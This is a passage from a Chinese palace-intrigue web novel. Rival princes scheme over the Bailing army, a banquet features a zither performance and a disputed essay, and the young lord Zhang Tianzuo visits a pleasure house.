顺着视线看去,只见轩辕夏身后,跟着两位衣着鲜亮的姑娘,一人粉霞罗裳,一人明黄绣衫,尤其是那黄衫姑娘,此时此刻不仅被朱阳王妃打扮得如一位官家小姐,双颊更是皆染薄霞,宛是吐着粉嫩花蕊鹅兰草,娇艳欲滴得不得了。
江王不禁心叹,如此绝色,难怪张三公子看得神容失色。
梁承欢被突来的注目吓得抖了一下,慌得埋下头。
田雨萝上前半步,将她护在身后,对着在江心学宫躲女不及的陈雅安道,“欢儿是模样生得俏,但你们也不该这般盯着人家看吧?”
陈雅安眼眶跳了一下,略微颔首示意,又走去拍了拍张天作肩头,“公子。”
张天作回过神来,抵着唇轻咳了两声,拱手道,“二位姑娘,是天作失礼了。”
林兮见状,也拉了拉楚英的手,在他耳边提醒道,“人家姑娘都让你看得不好意思了。”
而楚英不知是饮过酒的缘故,还是对那美貌着迷了,眼睛还像是长在梁承欢身上似的。
陈雅安又回过身,挡住他的目光,“只是长得像而已,气韵全无。”
楚英向梁承欢歉道,“在下楚英,险些认错了人,还请姑娘切莫放在心上。”
梁承欢眨着眼,“你当我是谁了?”
楚英笑笑,“自是与姑娘同生得天仙模样的人”,说罢,便追着陈雅安的步子离去了。
江王府重新安静了下来,而转日的东宫,却像是烧成了热锅蚂蚁似的。
太子挥袖将案上走表一齐甩向六皇子,痛责道,“阿鸣,当初是你向寡人作保,说张司宇文韬武略,又对张鸢一家积怨成恨,让他回白陵必能一统白陵兵政,取张鸢父女而代之,好为寡人所用。”
“太子殿下,我们无论如何,都要阻止张天作娶白陵都督的千金,否则,情势更将对我们不妙啊。”
六皇子得知消息,亦是不安,想着,即使拦不得他们联姻,司宇也不能让他们这么快就成亲,一点准备的时间都没有。
六皇子怎会知,陈雅安那个胆大的,丝毫不顾张司宇圈定的吉日。一入凤临,无论去哪家府上走动,从他口中说出的婚期,都是今年八月十六。
太子嗤责一眼,“阿鸣,父皇赐婚的圣旨都将下了,你还觉张司宇能有什么作为?”
六皇子眸色沉凝,深吸了一口气,“太子殿下息怒。我这就去白陵问清是怎么一回事。”
太子的目色沉了沉,“不必了,皇姐说的不错,张司宇已是一枚废子了。”
六皇子嘴角微微下垂,眼底却掠过一抹不易察觉的惋惜,“我相信司宇他一定还有后手的,不如,我还是去问问吧。”
太子没有说话,冷冷地扫了六皇子一眼。
六皇子再度探道,“太子殿下,张司宇既是真心为您筹谋,不妨再给他些时日?”
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“蠢材。老五都把九霄遗音琴送去做贺礼了,等你回来,吃屎都赶不上了。”太子破口道,目光中没有半点情愫,“若不是寡人急中生智,命人将紫薇七星剑送去四方馆,先行找补。恐怕今后,真将与他们成水火之势。”
六皇子眼中闪过一丝诧异,未再提此先张司宇托人送来的书稿中,还夹着份为太子写来博圣颜一悦的文作。
良久后忍忍道,“太子明鉴。”
太子目眶一紧,在投出一个意味颇深的眼神后,“眼下必得切断与张司宇的一切联系,以免被陵侯父女察觉,来向寡人问责。”
六皇子默了默,“是,请太子殿下放心,此前与张司宇的往来,皆是小弟出面,期间并未留下任何信函。”
六皇子怏怏回到铜雀别苑,正闷着头仰在床榻上,思索着形势。
白陵兵权。
那不仅是张司宇梦寐以求的。
也是太子、江王、乃至献帝梦寐以求的。
甚至,更是六皇子自己本身,最梦寐以求的。
无论横想竖想,六皇子都觉换作自己,都不会轻易让张天作得逞,为什么张司宇此先,一丁点儿消息都没传来呢?
难道是,张司宇料定太子急功近利,得了这门消息,定会与他反目,才故意瞒而不报的。
薰笼里,烧香正浓,烟缭升腾,纠纠缠缠绕上了软榻。
皓腕轻摆,一线酒光倾入金樽。
当酒樽端到眼前时,六皇子似乎对着眼前一双潋滟的眸子更为动心,唯一遗憾的是,那是双来自江王府的眼眸,至今还不时往江王府同传消息。
浅饮过后,六皇子坠进软榻缂丝云枕间,单手支颐,眼帘轻眯,“蛮蛮,今日我又被太子训了。”
蛮蛮视着他那沁出薄汗的额角上,黏着几缕墨发,“发生什么事了?可是又有什么重要差事,办得不如太子的意了?”
“还能是什么事,陵侯公子要和他们都督的女儿成亲了,太子觉这些年在张司宇身上的心思,都白白浪费了。”
榻子上的人不轻不重地说着,指尖还敲着软枕。
六皇子又道,“张司宇可当真不中用,到底还是江王兄赌得对。”
蛮蛮紧张地捏起袖口,垂下头道,“也许,也许……太子殿下还有转机也说不定呢。”
“我也希望他能有转机。”
六皇子用着满不在乎的口吻回道,见她还是略有所思地杵在那儿,撑起身,翩翩凑了去,“这样,蛮蛮就能一直在我身边了。”
蛮蛮听着那越来越近的声音,无措得不知该说什么好,只觉额头的汗几乎浸透头皮。
忽地,一面宽大的袖怀将她半个身子披了起来,“蛮蛮,我这铜雀别苑,比江王府如何?”
蛮蛮眉心蓦地一跳,心绪一波乱过一波,一双秀手直接朝那朱红衣袖搭去,“阿鸣,你说什么呢?”
朱袖一甩,六皇子端正身子,可嘴上却仍挂着浅笑,不疾不徐道,“江王兄,如果真是为你好,怎会把你送到我身边来?”
蛮蛮只觉心跳得要撞出胸膛似的,一时失了主意,遂将头扭向一侧。
69. 九霄音动
“你不要怕,我不会伤害你,但也不想看你被人害了。”
蛮蛮目中一顿,仍是不敢望着他,“你一早就知道了?”
他喉咙处滚了下,用着很清醒的语气回道,“当初,你为拜师酒神,弃了我。这么多年,我们的路该是越走越远的。”
她痛苦地闭上眼睛,“阿鸣,我。”
“你什么都不用解释,我只道是蛮蛮回来了,我是真的欢喜。”
她回正身子,扯上他的袖脚,央求道,“阿鸣,江王答应我了。只要你不再帮太子,他可以向皇帝陛下请旨,许你一块儿封地,让我们一起离开。”
他冷冷嗤笑了一下,“这么好心?”
见她懵懵地取出一小金丝盒,打开后,是两枚通透的琉璃血丸。
丸中各封着只血虫,虫身半是透明,半是胭脂色,映得那盒子,如落日时分的云霞照来。
也许旁人看了,还会误认这是什么珍奇饰珠,可才拿到《五州山河异志》本草一科的六皇子却清楚地认了出,这东西,是叫合欢蛊。
据载,服下此蛊后,一旦与人交欢,终身只会倾心那一人。炼制工序不仅繁琐,更是几年如一日的长日久功,极是稀有,便是在云间城,都很难见到几颗。
六皇子半开玩笑道,“这是蛮蛮给我补身子的吗?”
蛮蛮忙摇头,连连解释,“不是的,这是合欢蛊。江王说,我们各自服下它,然后,他定如我们所愿,让我们可以去到一个不再有争斗的地方,远离是非,双宿双栖。”
六皇子胸口一窒,像是要喘不上气儿来了。看了看蛮蛮,又看了看她手中精巧的金丝盒,一把夺过来,远远扔了出去,转硬撑起一副笑颜,“现在,不是我要跟着太子与他斗,而是,斗不倒他,我根本没活路的。”
蛮蛮被那砸地的声儿惊得起了个激灵,鼓足勇气抬眼看向面前的人,却见那一双宽眸中,仍是漾着水样光色,“阿鸣,江王的目标是太子,是城阳公主,从来不是你,你何苦一定要与他为敌呢?”
六皇子不错眼珠地望着她,“蛮蛮,你可知道,在我母妃获罪后,宫中最风光的,是哪位娘娘吗?”
“是杨贵妃。”
六皇子慢慢点了下头,“蛮蛮,我不想伤了与你的情谊。但有一件事,你必须清楚,母妃故去后,杨贵妃已说得父皇将我禁足于西宫,那时的西宫跟冷宫没有两样,也是一个无争的地方,可为什么我还是会被宫人百般奚落欺凌?有母如此,她的儿子又岂能让我好过?”看着她颤巍巍的神情,又开口道,“先皇后虽也与母妃不睦过,但至少,是皇姐向父皇请下的恩旨,许我出的西宫。如今,唯有保得太子安虞,我才能高枕无忧。”
蛮蛮抿着双唇,口中无措,心更是彻底软了下来,央着他的胳膊道,“可你斗不过他的,阿鸣,你怎么可能斗得过江王?”
六皇子拍了拍架在臂上的那双秀手,“我是斗不下他,就像张司宇斗不下白陵少主一样,但我相信,若是能与他联手,无论江王还是白陵少主,都不足为患。”说后,取出张司宇此先送来的文作,“蛮蛮,你看这文,便是司宇前两日托人送来的。过几日父皇将于凤来宫设宴,你信不信,单凭这篇文,我定能帮太子扳回一程。”
蛮蛮听着,目光紧紧朝那文看去,神情若有所思。
来仪殿锦旗招展,瑞气千秋,宴会尚未开始,华灯已起,宫女婢仆们已在忙碌布置。
御座台阶下,一张百尺见方的锦毯沿阶铺设,以供歌舞取乐。锦毯两侧设为客席,每张金丝楠桌上都铺设着百鸟朝凤图样的锦缎桌布,金碟玉碗摆列地井然有序。
金钟声鸣,献帝入座。山呼朝拜后,丝竹之声响起,两队衣袂飘飘的舞女,在悠扬乐声下款步入殿,气氛也转为轻快。
悠扬的曲乐,献帝格外沉浸其中,似是从丝丝缕缕的声调中,寻到几分过往余音。
“天作。”献帝轻抿过一口酒,“九霄遗音琴如何?”
张天作起身,道,“回陛下,天作久闻凤来宫中有一具琴,声弦灵悦,弦一旦拨起,韵音便袅袅不绝,好像是在数丈外传来一般。不想江王殿下如此割爱,天作惶恐。”锦袖一挥,命人将九霄遗音琴与紫薇七星剑呈于殿上,“太子殿下赠的这柄紫薇七星剑也来得珍贵,天作不敢却受,今特来将一双贵物奉还陛下,再谢天恩。”
太子和江王几乎同时呆住了。
献帝玩笑质道,“这把剑,当年就被退回来过,论说朕怎么让,张鸢都说不妥,说什么都不肯受。怎么,你也觉得不妥吗?”
张天作凝了凝高阶上的帝王,“不是太子殿下赐剑不妥,是天作受剑不妥。紫薇七星剑不仅是件名器,更是君上的恩尚与殊荣,天作有了这把剑,等同于有了持械上殿的权利。可天作知道,这样的权力只属于陛下与皇子们,作为臣子又岂可擅越?”
“也就是张鸢,朕好心赠他一把佩剑,反过来,还要被他说教。”
张天作回道,“陛下恕罪,父亲说话向来直了些。”
“不仅是直,还令朕的面子很是挂不住。”献帝回忆道,“朕见他推却紫薇七星剑,又与他下了道旨意,许他持符光剑觐见。可他,反手就将符光剑解下来塞到阿鸣的手上。阿鸣也是个不知轻重的,还就接了。”
张天作跪地一拜,“我邺国诸侯素来平起平坐,家父不忍开此先例,还请陛下恕罪。”
“张鸢纵然要守着君臣之礼,但也不该这般迂腐。”献帝说着,身子也缓缓从御座上挪开,拿起紫薇七星剑,走到张天作身旁,将他扶了起来,“天作,今日你父亲不在,朕也取个巧,硬要将这紫薇七星剑塞给你。”
“天作寸功未立,不敢受此重礼。”
“朕有个心愿。”献帝侧目瞥了瞥江王,用力闭了一下眼睛,“这也是阿晏一直以来的心愿。这九霄遗音琴,是朕与贵妃定情之物,贵妃去后,阿晏遍寻四海乐师,却再无一人弹得出她的那曲国乐。”
“这具琴本名为九霄琴。废妃高氏,失恩于父皇,擅毁皇族传世之四灵音。杨贵妃凭此琴奏出四灵音之仙乐,故而父皇赐名九霄遗音。”城阳公主淡淡笑道,“国乐《一品当朝》乃是贵妃早年所作,听说曲调忽高忽低,乐师们为习练此曲不知拨断了多少根琴弦。还是不要让张三公子尝试了,万一损了杨贵妃的爱琴,父皇又该心伤难寐了。”
江王看着对面绕是镇定的太子与六皇子,不难猜出,定是他二人将《一品当朝》部分曲调编入今日的曲乐中,才令圣上回忆起往昔。拱手告罪道,“儿臣将此琴赠予张三公子,是希望母妃爱物可尽其用,不想此举反令父皇触了旧事,是儿臣不孝。”
《一品当朝》是精工之曲,张天作若弹不出,怕也只觉是江王在有意为难他。
太子又怎舍得放弃眼前的机会,趁机浇油道,“江王弟,父皇与贵
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妃娘娘是因此琴曲结的缘,贵妃去后,父皇常叹贵妃虽去,但其魂魄仍寄于琴中。你多年未有子嗣,想来也是因贵妃娘娘芳魂未鸣之故。”
六皇子正玩着酒盏,乍一听,不禁笑出了声。
“我有没有子嗣,与琴何关?”江王反声道,许是被戳到了痛处,急得他竟跳起了身。
献帝摆手示意江王落座,“阿晏,阿昆也是说到了点子上。阿昆已有两子,而你身边,至今还空落落的。”
“丝桐合为琴,中有太古声。【1】弦断了,还可再续,曲子绝了音迹,贵妃之魂真就无从寻了。”六皇子提着空盏,满面是笑地说道,“久闻张三公子琴剑双绝,不知可否再现此绝音,以慰圣心?”
张天作迟顿片刻,“微臣愿意一试。”
献帝微微一笑,说道,“来人,取《一品当朝》曲谱来。”
张天作接过金箔裹制的曲谱,对着高低急转的曲调并不意外。
这曲子虽是经杨贵妃之手弹出,实则却非杨贵妃所作。
作曲之人,出自音律大家,得知凤门四灵音被毁,便仿着四灵音的音韵,创了此曲,还特意打造了一具九霄琴,以乐天颜,而后精心传授于家中小妹。
无奈小妹在学成此曲后,逢白陵张家的长公子张鸢上门提亲,其妹自是芳心暗许。那作曲之人改调教起自己最为得意的门生,待她学成后,送往凤临杨家,以官女之身入宫为妃。
献帝虽不知江邑潘氏君侯在背后的这番运作,但张天作却是心知肚明,此曲除了逝去的杨贵妃,确只有有数几人可以弹出。而他,自幼得母亲亲传琴艺,正在此之列。
此时,侍女已置好九霄遗音琴,设下宽座。
张天作款款起身,先是向献帝拜去一礼,“天作献丑了。”
张天作缓缓抬起手,轻挑银弦,金声玉振,琴音忽高忽低,极尽变幻,时而回旋婉转,温柔雅致,时而慷慨激昂,热血如沸。恍恍中,好似是五六具瑶琴在同时奏响一般。
曲调越转越高,可九霄遗音琴的韵音却是毫无费力地向上直转如飞。
江王又惊又喜,此前他也试奏过此曲,弹至几处低音,调声粗微不成,在高音尖锐之际,铮的一响,一根琴弦应声而断,待再试过几个音后,只觉自己弹的波波折折,十分难听。
可这《一品当朝》在张天作手下,不仅珠玉跳跃,此鸣彼和,每个音节亦是清越疏耳,如群艳争春。
楚英、陈雅安等不识音律之人,也不禁驰心静赏。
一曲抚罢,赞声四起。
献帝高座在上,衷心赞佩道,“果是名副其实的小剑仙,不,依朕看呢,还是位小琴仙。”
太子面色微变,噤住了声。六皇子微含笑意,紧忙替太子言道,“儿臣说的如何,张三公子果然再现了杨贵妃之绝曲。”
江王亦是惊艳,趁着献帝触曲生情之际,目光即刻莹润起来,“父皇,儿臣失仪,听到好的曲乐,总是会想起母妃。”转又抹了抹泪水,对张天作道,“天作,本王真是与你心念相同,九霄遗音琴到了你手,也算是对母妃之托有所交代了。”
“孔雀东绕,大鹏西迂,旋目奋翼,崇岩飘摇。叠嶂之间,有鸟出焉,状皆比巨鸡,光泽多彩,若霓虹当空,迢迢随之,见丹水焉,是为梧桐之洲。”
一声音毫无征兆地从皇子位席间传出,那嗓音像是陈酒滑过青石小砾,低沉中亦有顿挫。
70. 百行辞畅
江王眉尾悄悄一提。
堂风穿过,灯芯连连爆出火花,太子和城阳公主几乎同时顿住了,但见六皇子款款起身,边走边道,“触激堆埼,驰波跳沫。紫燕蓝凫,群浮其上,彤鹤朱雀,芒芒恍忽,青鸾雪凰,安翔徐回,方临丹穴之山。”
“这是?”献帝张口问道。
六皇子朝献帝恭敬一拜,“回父皇,儿臣偶得此文,听说是白陵的一位文人所作,今冒昧献上,不胜惶恐。”
城阳公主眉头紧锁,嘴角下撇。日前张天作和陈雅安已到府上,言明将与白陵军方联姻在即,故而在第一时间就命太子尽快撇清与张司宇的联系,不想这个六弟却在一意孤行地。
却听江王忽起身,朝献帝一拜,“父皇,儿臣听说,张司宇是陵侯一手教出的。可若说张司宇骑射军武过人,儿臣就是未亲眼瞧见过,至少也有三分是信的,但这作文一事,怎么看也不像是张家的家学,难不成是张司宇背后还有位师父吗?”
六皇子请出手道,“江王兄,小弟还没来得及说这篇文是司宇做的,怎么,就这般令王兄不快了?”
江王回道,“敢问六弟是何时得的此文?”
六皇子眸光一挑,“前几日,这不,还未请人装裱成作,就想着先来献予父皇。”
江王连连叹首,“再问六弟,‘安翔徐回,方临丹穴之山’后,可否是‘丹穴多脉,群立矗矗’?”
六皇子点着头道,“正是,难道,江王兄也拜读过这篇文作不成?”
江王扯着嘴角一笑,站至殿上,“丹穴多脉,群立矗矗,缦立泛观,望有幸焉。”念着,不忘从怀间请出书信一封,“父皇请看,这是半月前东海朗家与儿臣的信函。儿臣适才所念的每一个字,都在这书信之中,只多不少。”
献帝宽袖一挥,江王呈上书信,献帝看后,将几页泛黄的信纸一并抛向六皇子,“你看看,这是什么。”
六皇子慌张地捡起地间信纸,但看信中三百余字确是张司宇作下的那篇文,却被江王冠上朗天之名,甚至还将纸张做了旧。
他在地一跪,“不应当啊,儿臣确实才从位白陵墨客手中得来的?几时会到东海朗天手中?”
“六弟啊六弟,不是五哥定要揭你的短儿令你难堪。这篇文,半月前就已送到我府中来了,难不成还要我派人去东海将朗天请来,让他当面告诉你,他是在何时、何地所作?”江王不饶道,转后又向献帝拱手道,“父皇喜怒,六弟他只是一时被人蒙蔽了,并非有心扰乱圣听,还请父皇宽恕。何况,朗天的本意也是将此文献予父皇和七弟,虽是经由六弟之口说来,但好在没有白费他的一番心思。”
献帝抖了抖须,“事到如今,你还有何话可说?”
“父皇明鉴,这虽是同一篇文,但与儿臣先前得到的那份,却有出入?”说罢,震袖击响三掌,声音清亮而突兀。
群臣循声望去,只见八名内侍抬着一卷巨幅步入殿内。那卷纸高逾人首,宽达三丈,需四名内侍一齐踩上高凳,方能打开。
哗——啦——
眼见巨幅书法如一道白瀑,在御前展开,舒展之声,如风过林海。一卷之内,千余字整整列成百行,每个字都有拳般大,笔锋如刀似剑,墨色酣畅。
莫说此刻俱寂的满朝文武,连江王都看呆了眼,百行墨字不仅含尽事先得的三百余字,期间更是穿插着不尽的珠联妙语。惊疑之际,不禁暗赞,这后文不知是由何人续写,竟可与张司宇的前文接得如此天衣无缝。
六皇子将那泛着黄光的纸页递予太子。
太子眉眼豁然一开,对着巨卷念道,“丹穴多脉,群立矗矗,悠远长怀,萦峦衡云,目光短浅,眺之无际,察之无端,缦立泛观,望有幸焉。”言罢,长笑三声,“五弟,六弟献来的这篇文作,跟你知的比起来,才是只多不少。”
城阳公主浅浅笑了一声,紧接着帮声道,“父皇,再看这句,‘翅影横空,穿林惊风,于彼庞梧,有凤来仪,灼如天轮,耀比金乌,万羽朝之,高翎投地。’气势当真盛极,不管这篇文是何人所作,想来必是动了不少心思的。既得好文,天下共赏,儿臣想,无论是张司宇还是朗天,都不会计较这一时的虚名。”
六皇子见势拜向献帝,“父皇,此文虽文辞粗陋了些,但亦是字字皆发肺腑,恳请父皇不吝斧正。”
献帝大悦,“看来白陵不仅有剑仙,有琴仙,这会儿还多出位文曲星来。阿晏,这文究竟是何人作的,本就无关紧要,你莫与阿鸣争较了。”
轩辕夏见江王怏怏,即起身道,“伯伯,这也怨不得五哥。听说当年陵侯醉酒,被诸城君侯架到笔墨前,起哄要他做首诗出来,结果,他做了首好笑的不得了的诗。”
这话一出,殿前群臣,或以袖遮面,忍着笑意,或直接用手捂起嘴来。
朱阳王眼见儿子还满目天真,全然不顾献帝那阴沉的脸色,紧忙出席告罪道,“皇兄,阿夏酒后失言,还请皇兄恕罪。”而后,向轩辕夏催斥道,“还不退下。”
轩辕夏一双睁圆的眼睛无辜视向献帝,“可陵侯事后也没有计较不是。”
献帝望着无知的轩辕夏,“张鸢是什么人?就是把他的骨头打断了,他的腰也不会弯一下。他不计较是他的事,朕可没说不去计较。阿夏,朕已言明,无论何人,都不可以诗词作文说谈白陵张家人,你今日分明是未将朕的话放在心上。”
“伯伯,我——”
“阿夏。”朱阳王忙叫住轩辕夏,“你是怎么搞的?陵侯当年不过酒后随性说了几句话而已。快,跟皇兄陪个不是。”说着,还朝他挤出眼色。
轩辕夏定定看着朱阳王,朝献帝道,“伯伯,我知道错了。“
献帝振振道,“来人,朱阳世子抗旨不遵,禁足三月,静思己过。”
轩辕夏心中抖是一惊,他这皇伯伯何其疼爱自己?疼爱到连那些皇家称谓都可说免就免,怎会为着此等小事责罚自己来?
张天作心生不忍,“小女名之合,幼龄心熟成。稚子唤天作,唯妹命是从。天作竹马摇,之合马上骋。棍棒挥秋叶,学人冲阵营。”念出后还不禁叹笑。
大殿之上,怕也只有他敢发出笑音。
“家父当年架不住盛情,作了这首引人哄堂大笑的诗来。虽登不得大雅之堂,
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但在天作心中,属实感动了好一阵子。”张天作长慨万分,语气温温道,“父亲对之合的疼爱,可以说是有目共睹,但在那一日后,我才知道,原来父亲想着之合的同时,也是有念着我的。”
江王见状,站起身,随着张天作话头说了下去,“父皇,依儿臣之见,白陵张家人虽为武将出身,但自有风骨在。陵侯料定贻笑之局,仍放言作诗,自是身正之人,才有胸襟气概。如张三公子所言,恰好验证一段父子之情,也不失为一段佳话。”
“朱阳世子,禁足半月。”
献帝说完这话,仍板着面,直至宴毕,都未再有过大喜神色。
东宫参树下,六皇子半卧半倚在太师椅里,单手支颐,眼神游离迷魅,看着眼前这位踱来踱去的东宫太子。
太子拍着腿根暗忿道,“阿鸣,你看今日的情形,张天作是向着寡人多些,还是向着江王多些?”
六皇子先是抖了个机灵,奈何身体瘫软,撑着扶手,躬身坐了起来,虽实在看不出什么子丑寅卯,但仍敷衍道,“良禽择木而栖,他自然是更向着东宫了。”
“可是,他同时受了寡人与老五的礼,你是怎么看出的?”
六皇子略加思忖,太子与江王虽同时送了重礼,但对张天作的表现并非爱极之态。只得道,“九霄遗音琴再好,也仅是一张琴而已。可您送的,可是实打实的持械上殿的权力,哪有人不会心动的?”
太子回忆了下,嘴角不自觉上扬了扬,又凑向六皇子耳边,满心欢喜地再度确认道,“你也觉他更喜欢寡人的那紫薇七星剑是吗?”
六皇子食指抚额,露出一副醉态,无力点了点头。
太子又道,“老五必定还有后手,你说寡人要不要再送张天作些乐器?”
六皇子目中透出暗幽幽的锋光,低声道,“太子殿下放心,皇姐已为张天作准备了一份大礼,保证送到他心坎里,让江王兄只有干瞪眼着急的份儿。”
四方馆内。
张天作对着得来的紫薇七星剑和九霄遗音琴,一脸无奈。
尤其,还要听楚英的抱怨声,“这两个小巴儿巴儿,真是能闹腾。”
陈雅安回望了眼门处,一根手指按住楚英双唇,“天子脚下,慎言。”
楚英嗤气一声,“我要有这么两个闹腾儿子,非得一人赏顿板子不可。”
陈雅安嘴角隐笑,“是三个。”
楚英想了想,“对,还有那六皇子,看着就是个不省心的。之前是不是就他,带着符光剑到墨白城来,给张司宇装腔作势的?”
张天作已感酒恶欲噁,只点了点头。
咚,咚,咚。
“何人?”
陈雅安问道。
“是我。”林兮回道。
推开门,林兮进屋道,“天作,六皇子来见。”
话音才落,六皇子已款步踏入,穿着身酒红织锦的雀纹常服。
张天作相看了下,见他已经褪去朱衣锦袍和紫金冠,而是解下束发,改以一支碧玉簪穿过半披半束的云发。
六皇子展扇而笑,“张三公子,随我去赏赏夜景如何?”
71. 仙乐绕 回肠荡
六皇子带着一行人,一路信步游走,穿行过几坊花街,奔向流金淌银之所。媚眼一眨,“人人都道在凤临江边,看玉龙雪峰与江水旋转倒绕,仿有掌揽天地之感,可我偏觉这拨转乾坤的飞鸾楼才是景美人更美。”
张天作眼看面前一座三层高楼拔地而起,像是有九重宝塔般高耸。内里更是乾坤豁亮,层层花间舞影,处处丝竹绕梁。一入堂楼,十二道天柱阔立,将正堂大厅撑得有四五丈高。
中央有一宽敞舞台,四周环绕着精致桌椅,每张案子上,摆放着巧果与精食,杯中盛着琥珀光色的佳酿。客人们或坐或立,灼灼盯向台央的妙曼身姿,风情万种不尽。更为奇绝的,每柱旁悬有一道瀑布似的红绡,艳衣佳人缠绕垂绡,旋柱起舞,于半空翩翩翻凌,技惊奇绝,如惊鸿彩霞,景象美得心动不已。
老鸨也做过艳名响响的花魁,看到六皇子将一行盛装公子领进门,热情招呼道,“高明公子,盼星盼月终是将您盼来了。”
六皇子回之一笑,熟门熟路地将银票滑进她手,“妆姨娘,我身后这几位爷,可都要小心伺候着。”
妆姨娘艳袖一挥,一群丹唇皓齿,雪肤玉臂便如艳潮般涌了上来。
林兮看楚英与陈雅安似有若无地后退了几步,忙站向二人,避开艳潮。
面对袭来花展的佳人,其中一位女子,并未同她人般梳着堆如云霞的发髻,眉如远山,眼含秋水,仅仅一只古香古色的青玉簪子,一袭青色长裙,腰间系着精绣罗带,宛若山水间的一朵青莲,清新自然。而那女子,艳潮涌动时,似花簇丛中一汪清泉,不起眼地促进张天作臂怀,温婉一笑。
她薄施粉黛,身着张天作偏爱的青蓝之色,像是徇着张天作的一应喜好,专为他打扮得一般。
林兮长叹一气,“我去外面等你们。”
楚英像寻到救命稻草似的,“此处不可久留。”说后,便拽着林兮的衣角离了去。陈雅安本想一并离去,但看了眼将入温柔乡的张天作,还是选择了留下。
妆姨娘风韵的魅眼,滴溜溜打量了会儿,妩媚道,“小相公真是会开玩笑,到了这处儿怎还,”说着就嘻嘻笑起,没再继续讲下去。
六皇子拨开身旁的花姿柳腰,轻声坏笑道,“随他去吧,他家里注定一花独盛,怕是这辈子都找不得姑娘了。”
妆姨娘柔玉的手指轻轻戳了下六皇子,“您来的可是时候,这几位都是要出道的,那身上跟绸子一样滑溜,可嫩着了。”
六皇子啧么了几下嘴角,“那还不快让几位爷尝尝鲜。”
话说楚英随林兮候在莺歌四起的飞鸾楼外,也是聊赖,有一搭没一搭地谈了起来。
林兮也非内羞之人,只是觉自己也是读过圣贤书,终不好乱入这烟花之地,万一不甚入了流,可是不妙。不想楚英也是如此自持,对他很是倾佩。
楚英目光深锁,闲聊道,“我倒非羞于那些姑娘,只是入了这样的地方,被人听了去,难免有辱少主名声。”
无意向不远处的灯笼下瞟了一眼,看到一个眼熟的身影,正静静朝着这边看来。“你怎在此?”
林兮随着楚英的话音,向前看了去。亮纱灯笼下,远观似是极为俊俏的小公子,近了一看,显是女扮男装的梁承欢。
梁承欢垂头,小步上前,怯滴滴道,“我,我去四方馆,听说你们来了这里。”
楚英嗤嗤驱道,“这是女孩子家该来的地方吗?”
梁承欢抿了抿嘴唇,“江湖儿女,不都是不拘小节的吗?”
“你是朱阳王府的外甥女,岂可与那些江湖人并论?”
梁承欢霎地噎停,生怕漏了自己是梁功长女儿的事。娇娇嫩嫩道,“今日是我生辰,我想喊上天作哥哥一起的,所以才偷偷溜了来。”
楚英看着天真无知的梁承欢,气愤愤眨眨眼睛,“小妹妹,可别怪我没提醒你,你虽模样俏了些,但也别觉着天作是以貌取人的。”
梁承欢忙摆起双手,“不,不,我只是,想请他陪我吃碗面。”
楚英叹了叹头,问道,“天作这一时半会也出不来。我和林兮陪你去吃面,你别在这儿里溜达了。”
梁承欢小声嘀咕道,“那我就在此等他。”
楚英眸中流出一丝无奈,“真是服了你了,你在此等着,我去叫他出来。”
梁承欢身子向前微探了探,“我跟你一起去,可以吗?”迎着楚英犹豫的目光,想了想又补充道,“我就跟在你身后,不惹祸的。”
楚英听罢,眉心蹙了蹙,若是换做寻常人,他早不会这般耐心,这般好言。但偏偏在这个叫承欢的女子身上,总是能闪出些张之合的影子,还是楚英眼里最珍贵的那些闪影。她面容虽与张之合有几分相像,性格却是两然,好巧不巧,张之合可爱灵真的小小一面,在她身上十足十的展现了出。
人前肃威的张之合,在天作之合馆大门紧闭时,也总会不时提些小要求,楚英总觉,张之合身上鲜少流出的少女之姿,分为可爱,分为珍贵,总是想尽一切法子迎合她,满足她。
楚英嘴角一撇,“随我来吧。”
梁承欢跟带在楚英身后,向前约莫走了三两步,楚英猝然回头,转向留在原地的林兮,“愣着干嘛?一起啊,让她走我二人中间,免得沾上花柳污气。”
楚英步履匆匆前行带路,在那繁锦与浮华交绕的飞鸾楼里,梁承欢也仿佛进入了一处光怪陆离的世界。门外是喧嚣市井,门内却是另番洞天。
暖黄的光晕洒在雕梁画栋之上,空气中弥着淡淡的熏香与酒香,交织出一种令人沉醉又流连的气息。一面纱屏后,缕缕传出绕梁的如水丝乐,清越澄明,舞台上轻纱曼舞,每一个旋转,每一次挥袖都缠带出绵绵魅许。
楚英在台前正坐寻到张天作的身影,陪席的六皇子不必多说什么,可张天作却像是开启了新的人生,任着柔若无骨的姑娘坐在怀中不说,顾盼流转,暧昧十足。
他自是能理解此刻的张天作兴致多么的盛,像他这样有钱有势的公子哥,谁不在十几岁时就和陪房的丫鬟混到一处,纵观天下,怕是也找不到几人像他这般例外。
他的例外非因他谈女色变,只是他所居的天作之合馆,被张
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之合一道厉令,断绝了所有外人的入内,哪里还有什么他可以染指的女色在?只得在琴剑书画中找些乐子。
楚英看张天作虽搭着怀里的美人,可目光却停驻于台上舞曲,一副神思不归的模样。竟愣愣等到舞毕,楚英才上前去。
而张天作也是大方,不仅献足掌声,还抛出大把金银,似乎在这短暂绚烂的欢愉中,真的令他暂时忘去外间的烦恼。
陈雅安见楚英将梁承欢带了进来,嗔道,“你带她来干什么?”
楚英刚靠向张天作身边,准备在他耳边说些什么,却听张天作用着更响亮的声音呼道,“屏后的姑娘,为何还不肯出来让我看一看庐山真面?”
屏风后又浮出曲声。
楚英惑向陈雅安。陈雅安回道,“天作说这乐音如洗,一进来便坐在这儿听曲子。”
六皇子掩着声附和,此刻,他二人早成了同道中人,“天作兄,你真是有眼光,屏后的姑娘唤作夏璃,曾是凤临城的舞魁,她有一舞,名为青鸾照命,别家的姑娘怎么着也仿不出,不知为这飞鸾楼揽进多少黄白之物来。我也是今日才知,她不仅舞跳得好,琵琶仙乐也是妙极。”
张天作一听,更是耐痒,想如此可弹得出如此仙曲的一双玉手,不知舞姿又该是何其翩跹,月貌又该是何其绰约。随即抽出厚厚一沓银票,喝道,“夏璃姑娘,你的青鸾舞若也如你的曲子这么美,我便讨你做我的第二个妻子如何?”
人还没见,便放出此等盟言。
六皇子口中正含着酒,听到张天作突来话语,生生呛了出来,飞鸾楼的姑娘再是风情,但对那些达官显贵而言,也断无可能收为己有。甚至这飞鸾楼幕后的真正东家——太子和城阳公主,也仅仅靠此收集那些官宦人家的言谈消息,几乎是半个步子也不会踏进。
再看楚英和陈雅安,也是一脸不可思议地看向张天作。
妆姨娘听到这一声,见到这位贵气十足的公子手中厚票,也匆匆凑向桌前,手帕一飞,“这位相公,夏璃怕是不便相见。”
张天作作势又取出一沓票,一并塞给妆姨娘,“我爱极她的琵琶曲,就想看看她的舞,清倌也是倌,你拿着这些去问问她,肯不肯露个面来。”
妆姨娘推回银票,凑近低声道,“夏璃已经有夫家了。”
